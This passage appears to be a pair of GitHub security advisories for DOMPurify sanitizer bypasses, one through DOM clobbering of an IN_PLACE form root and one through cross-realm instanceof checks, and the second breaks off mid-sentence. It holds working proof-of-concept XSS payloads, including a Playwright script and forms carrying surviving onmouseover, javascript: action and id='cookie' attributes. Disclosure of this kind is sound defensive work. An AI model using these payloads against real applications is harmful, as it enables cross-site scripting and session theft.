The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the boolean return value of _sanitizeElements:

const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);

while ((currentNode = nodeIterator.nextNode())) {
  _sanitizeElements(currentNode);       // returns `true` if killed — IGNORED
  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip
  ...
}

If the return value were checked and _sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently _sanitizeAttributes is the only line of defense for a node that _sanitizeElements could not actually detach.

Why the clobber works

In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but _isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.

Verified clobber targets (each name= value independently triggers _isClobbered):

name= value	property _isClobbered checks	typeof on clobbered form
nodeName	typeof element.nodeName !== 'string'	object (an <INPUT>)
setAttribute	typeof element.setAttribute !== 'function'	object (not callable) — but <embed>/<applet>/<iframe> ARE callable; see "Note on callable elements" below
namespaceURI	typeof element.namespaceURI !== 'string'	object
insertBefore	typeof element.insertBefore !== 'function'	object
hasChildNodes	typeof element.hasChildNodes !== 'function'	object
childNodes	!(element.childNodes && typeof element.childNodes.length === 'number')	object — <INPUT> has no .length
attributes	!(element.attributes instanceof NamedNodeMap)	object (an <INPUT> is not a NamedNodeMap)
textContent	typeof element.textContent !== 'string'	object
removeChild	typeof element.removeChild !== 'function'	object (non-callable)
removeAttribute	typeof element.removeAttribute !== 'function'	object (non-callable)

Any single one of the ten property names in _isClobbered's checklist is sufficient as the bypass trigger.

Proof of concept

(1) Minimal — runnable in a single browser context

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const root = document.createElement('form');
  root.setAttribute('onmouseover', 'window.__rooted = 1');
  const clobber = document.createElement('input');
  clobber.setAttribute('name', 'nodeName');
  root.appendChild(clobber);

  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
  DOMPurify.sanitize(root, { IN_PLACE: true });

  console.log('output:', root.outerHTML);
  // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

  document.body.appendChild(root);
  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  console.log('handler fired:', window.__rooted === 1);  // true
</script>
</body></html>

(2) End-to-end — Playwright against main HEAD

const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.setContent('<!doctype html><html><body></body></html>');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(() => {
    const root = document.createElement('form');
    root.setAttribute('onmouseover', 'window.__rooted = 1');
    const clobber = document.createElement('input');
    clobber.setAttribute('name', 'nodeName');
    root.appendChild(clobber);

    DOMPurify.sanitize(root, { IN_PLACE: true });

    document.body.appendChild(root);
    window.__rooted = 0;
    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));

    return {
      version: DOMPurify.version,
      output: root.outerHTML,
      handlerFired: window.__rooted === 1,
    };
  });
  console.log(result);
  await browser.close();
})();

Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):

{
  version: '3.4.5',
  output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>',
  handlerFired: true
}

(3) Variant matrix — six distinct clobber-target properties

Every property name in _isClobbered's typeof checklist works as the bypass trigger:

[BYPASS] name="nodeName"      → <form onmouseover="…"><input></form>
[BYPASS] name="setAttribute"  → <form onmouseover="…"><input></form>
[BYPASS] name="namespaceURI"  → <form onmouseover="…"><input></form>
[BYPASS] name="insertBefore"  → <form onmouseover="…"><input></form>
[BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form>
[BYPASS] name="childNodes"    → <form onmouseover="…"><input></form>

This makes the fix less of a one-line patch — every property _isClobbered checks for the typeof-spoofing pattern needs to be considered.

Impact

Direct

Two distinct impact paths from the same root-attribute-survival primitive:

(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:

const t = document.createElement('template');
t.innerHTML = untrustedHtml;
DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });
container.appendChild(t.content.firstElementChild);

If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.

(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The _sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:

• action="javascript:..." and formaction="javascript:..." — URI validation at :1413 never runs. A user click on a submit button inside the sanitized form navigates to the javascript: URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.
• id="<colliding-name>" — the DOM-clobbering guard at :1352-1359 (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside _sanitizeAttributes and is skipped. An attacker can therefore land id="cookie", id="body", id="head", id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does document.cookie, document.body, etc.
• target="_top", autofocus, formenctype, formmethod — all survive untouched.
• Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at :1361-1364 never runs.

Verified — full attribute set survives on a single payload (PoC):

const root = document.createElement('form');
root.setAttribute('action', 'javascript:alert(1)');
root.setAttribute('target', '_top');
root.setAttribute('onclick', 'alert(2)');
root.setAttribute('onmouseover', 'alert(3)');
root.setAttribute('autofocus', '');
root.setAttribute('formaction', 'javascript:alert(4)');
root.setAttribute('id', 'cookie');           // DOM-clobbering primitive
root.innerHTML += '<input name="nodeName">';
DOMPurify.sanitize(root, { IN_PLACE: true });
console.log(root.outerHTML);
// <form action="javascript:alert(1)" target="_top" onclick="alert(2)"
//       onmouseover="alert(3)" autofocus="" formaction="javascript:alert(4)"
//       id="cookie"><input></form>

(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky. Chromium's HTMLFormElement named-property cache appears to retain the named child reference even after the child's name attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's name="nodeName" attribute is correctly stripped (the output shows <input> with no attributes), yet typeof form.nodeName === 'object' is still true and the input element is still returned. Calling DOMPurify.sanitize(sameNode, { IN_PLACE: true }) a second time hits the same _isClobbered → _forceRemove → _sanitizeAttributes early-return path. The only effective recovery is serialize-then-reparse:

const root = parseAttackerHtml();                                     // form with input name="nodeName" child
DOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive
DOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive
const recovered = (() => {
  const t = document.createElement('template');
  t.innerHTML = root.outerHTML;                                       // forces a fresh parse
  const r = t.content.firstElementChild;
  DOMPurify.sanitize(r, { IN_PLACE: true });
  return r;
})();
// recovered.outerHTML === '<form><input></form>'  ← finally clean

A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.

(d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets SAFE_FOR_TEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving `` / <%…%> / `${…}` syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.

Verified — same PoC structure, with SAFE_FOR_TEMPLATES: true:

const root = document.createElement('form');
root.setAttribute('title', '');
root.setAttribute('onmouseover', 'window.__x=1');
const c = document.createElement('input');
c.setAttribute('name', 'nodeName');
root.appendChild(c);

DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

console.log(root.outerHTML);
// <form title="" onmouseover="window.__x=1"><input></form>
//        ^^^^^^^^^^^^^^^^ template syntax survives

This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).

(Text-node content inside the form is still scrubbed correctly — _scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)

Indirect / second-order

• DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).
• Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons.
• Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true }). The outer el is fine (it's not the form), but if the first child of el is taken as the sanitization root in a different code path, the bypass triggers.

Why current main is also vulnerable

Commit 89da34e ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens _sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an _isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change _forceRemove's parent-less-node behavior or _sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.

Suggested fix

Two minimal-risk options:

1. Make _forceRemove honest about failure: return whether the node was actually detached, and have the iterator call site honor that.

   const _forceRemove = function (node: Node): boolean {
     arrayPush(DOMPurify.removed, { element: node });
     try {
       getParentNode(node).removeChild(node);
       return true;
     } catch (_) {
       try { remove(node); } catch (_) {}
       return node.parentNode === null && /* but still attached to itself */ false;
     }
   };

   Then at :1855, if _sanitizeElements returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)

2. Strip attributes inside _sanitizeAttributes for clobbered roots: when _isClobbered(currentNode) is true at :1490, instead of early-returning, iterate currentNode.attributes (using the cached getAttributes if you add one) and remove each via removeAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.

3. Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not _isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."

Note on callable elements

In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFE_FOR_TEMPLATES-bypass primitive; the present report does not depend on it.

Severity

• CVSS Score: 6.1 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/cure53/DOMPurify/security/advisories/GHSA-r47g-fvhr-h676
• https://github.com/advisories/GHSA-r47g-fvhr-h676

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CVE-2026-49458 / GHSA-hpcv-96wg-7vj8

More information

Details

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

Summary

DOMPurify.sanitize(node, { IN_PLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

Affected

• DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
• Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created <iframe srcdoc>) and then calls DOMPurify.sanitize(foreignNode, { IN_PLACE: true }) against a sanitizer instance bound to a different realm

Not affected:

• String-input DOMPurify.sanitize(dirtyString) — the library calls its own parser inside _initDocument, the resulting nodes belong to the sanitizer's own realm, and the instanceof checks resolve as expected
• IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance

Vulnerability details

The unifying defect is that _isClobbered, _sanitizeShadowDOM's template-content recursion, and _sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.

[A] — _isClobbered gates on element instanceof HTMLFormElement

src/purify.ts:1120-1140:

const _isClobbered = function (element: Element): boolean {
  return (
    element instanceof HTMLFormElement &&    // [A] realm-bound — false for any
                                              //     iframe-realm <form> element
    (typeof element.nodeName !== 'string' ||
      typeof element.textContent !== 'string' ||
      typeof element.removeChild !== 'function' ||
      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound
      typeof element.removeAttribute !== 'function' ||
      typeof element.setAttribute !== 'function' ||
      typeof element.namespaceURI !== 'string' ||
      typeof element.insertBefore !== 'function' ||
      typeof element.hasChildNodes !== 'function' ||
      !(element.childNodes && typeof element.childNodes.length === 'number'))
  );
};

A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so _isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on _sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" sh

✂ Note

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Diff	Package	Supply Chain Security	Vulnerability	Quality	Maintenance	License
	dompurify@​3.4.11

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